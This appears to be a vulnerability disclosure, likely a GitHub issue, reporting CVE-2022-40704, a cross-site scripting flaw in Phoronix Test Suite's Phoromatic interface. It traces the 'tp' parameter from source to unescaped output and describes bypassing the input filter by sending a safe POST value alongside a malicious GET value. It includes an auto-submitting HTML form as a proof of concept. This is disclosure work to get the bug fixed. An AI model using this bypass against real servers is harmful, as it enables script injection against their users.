Link: phoronix-test-suite/phoronix-test-suite#650
CVE-2022-40704 is assigned to this discovery.
XSS vulnerability.
\\line 41
// Note: the source
$test_profile = new pts_test_profile($_GET['tp']);
public function __construct($identifier = null, $override_values = null, $normal_init = true){
parent::__construct($identifier, $normal_init);
//...
}
public function __construct($read = null, $normal_init = true){
//...
$this->xml = simplexml_load_string($read, 'SimpleXMLElement', $xml_options);
}
Now the input is in the xml property in object $test_profile.
//line 47
if(!empty($supported_os = $test_profile->get_supported_platforms())){
// Note: the sink
echo '<p>This test is supported on <strong>' . implode(', ', $supported_os) . '</strong>.</p>';
}
public function get_supported_platforms_raw(){
return $this->xg('TestProfile/SupportedPlatforms');
}
public function xg($xpath, $default_on_null = null){
//...
$r = $this->xml ? $this->xml->xpath($xpath) : null;
//...
return $r;
}
In phoromatic_quit_if_invalid_input_found your are checking the $_REQUEST which can carry the value of the $_POST and the $_GET.
function phoromatic_quit_if_invalid_input_found($input_keys = null)
{
if(empty($input_keys))
{
// Check them all if not being selective about what keys to check
$input_keys = array_keys($_REQUEST);
}
// backup as to sanitization and stripping elsewhere, safeguard namely check for things like < for fields that shouldn't have it
// plus a few simple backups as safeguards for words that really have no legit relevance within Phoromatic...
foreach(pts_strings::safety_strings_to_reject() as $invalid_string)
{
foreach($input_keys as $key)
{
if(isset($_REQUEST[$key]) && !empty($_REQUEST[$key]))
{
foreach(pts_arrays::to_array($_REQUEST[$key]) as $val_to_check)
{
if(stripos($val_to_check, $invalid_string) !== false)
{
echo '<strong>Exited due to invalid input ( ' . $invalid_string . ') attempted:</strong> ' . htmlspecialchars($val_to_check);
exit;
}
}
}
}
}
}
What I can do here that sending the post and the get with the same key (tp). I pass the safe value with the $_POST and the injection with the $_GET. Thus phoromatic_quit_if_invalid_input_found will check the value in the $_POST which is safe and I continue my injection with $_GET.
Here just a sample example I create to show that $_REQUEST is printing the value of the $_POST.
//server code
<?php
echo $_GET['tp']; // print getxxxx
echo $_POST['tp']; // print postyy
echo $_REQUEST['tp']; // print postyy
//payload
<?php
?>
<html>
<body>
<form action="http://localhost:8082/server.php?tp=getxxxx" id="myform" method="post" name="myform">
<input type="hidden" name="tp" value="postyy">
<input type="submit" value="Add Action" id="clickButton">
</form>
</body></html>
<script>
window.onload = function(){
var button = document.getElementById('clickButton');
button.form.submit();
}
</script>
Thus the input will be controlled by the attacker, saved in the xml then extracted and printed through the variable $supported_os.